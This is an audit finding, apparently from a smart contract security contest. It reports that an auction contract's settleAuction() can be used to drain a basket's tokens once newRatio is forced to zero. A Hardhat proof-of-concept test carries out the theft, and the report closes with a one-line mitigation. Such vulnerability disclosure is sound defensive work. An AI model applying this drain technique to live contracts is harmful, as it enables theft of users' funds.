Handle

Ruhum

Vulnerability details

Impact

The settleAuction() function allows someone to settle the auction by transferring funds in a way that the new pending index is fulfilled. As a reward, they are able to take out as many tokens as they want as long as the pending index is fulfilled after that. The function verifies that the basket has received everything it wanted using the following logic:

        for (uint256 i = 0; i < pendingWeights.length; i++) {
            uint256 tokensNeeded = basketAsERC20.totalSupply() * pendingWeights[i] * newRatio / BASE / BASE;
            require(IERC20(pendingTokens[i]).balanceOf(address(basket)) >= tokensNeeded);
        }

The attack vector here is to manipulate tokensNeeded to be 0. That way we can drain the basket completely without the function reverting.

For that, we manipulate newRatio to be 0 then the whole thing will be 0.
newRatio is defined as:

        uint256 a = factory.auctionMultiplier() * basket.ibRatio();
        uint256 b = (bondBlock - auctionStart) * BASE / factory.auctionDecrement();
        uint256 newRatio = a - b;

There’s 1 value the attacker controls, bondBlock. That value is the block in which the bondForRebalance() function was triggered.
So the goal is to get newRatio to be 0. With the base settings of the contract:

• auctionMultiplier == 2
• ibRatio == 1e18
• BASE == 1e18
• auctionDecrement == 10000

bondBlock has to be auctionStart + 20000. Meaning, the bondForRebalance() function has to be triggered exactly 20000 blocks after the action was started. That would be around 3 1/2 days after auction start.

At that point, newRatio is 0, and thus tokensNeeded is 0. The only thing left to do is to call settleAuction() and pass the basket’s tokens and balance as the output tokens and weight.

Proof of Concept

Here’s a test implementing the above scenario as a test. You can add it to Auction.test.js.:

      it.only("should allow me to steal funds", async() => {
        // start an auction
        let NEW_UNI_WEIGHT = "2400000000000000000";
        let NEW_COMP_WEIGHT = "2000000000000000000";
        let NEW_AAVE_WEIGHT = "400000000000000000";

        await expect(basket.publishNewIndex([UNI.address, COMP.address, AAVE.address], 
            [NEW_UNI_WEIGHT, NEW_COMP_WEIGHT, NEW_AAVE_WEIGHT], 1)).to.be.ok;
        await increaseTime(60 * 60 * 24)
        await increaseTime(60 * 60 * 24)
        await expect(basket.publishNewIndex([UNI.address, COMP.address, AAVE.address], 
          [NEW_UNI_WEIGHT, NEW_COMP_WEIGHT, NEW_AAVE_WEIGHT], 1)).to.be.ok;

        let auctionAddr = await basket.auction();
        let auction = AuctionImpl.attach(auctionAddr);

        ethers.provider.getBlockNumber();
        // increase the block number for bondBlock - auctionStart to be 20000.
        // When that's the case, the result of newRatio in settleAuction() 
        // is 0. And that means tokensNeeded is 0. Which means,
        // we can take out all the tokens we want using the outputTokens array
        // without having to worry about basket's balance at the end.
        // The math changes depending on the settings of the factory contract or the
        // Basket contract. But, the gist is that you try to get newRatio to be 0.
        // The only values you can control as a attacker is the bondBlock after the auction
        // was started.
        for (let i = 0; i < 20000; i++) {
          await hre.network.provider.send("evm_mine")
        }
        await basket.approve(auction.address, '5000000000000000');
        await expect(auction.bondForRebalance()).to.be.ok;
        await expect(auction.settleAuction([], [], [], [UNI.address, AAVE.address], ["200720000000000000", "200120000000000000"])).to.be.ok;
      });

Again, this test uses the base values. The math changes when the settings change. But, it should always be possible to trigger this attack. The gap between auction start and bonding just changes.

Tools Used

manual analysis

Recommended Mitigation Steps

• Verify that newRatio != 0

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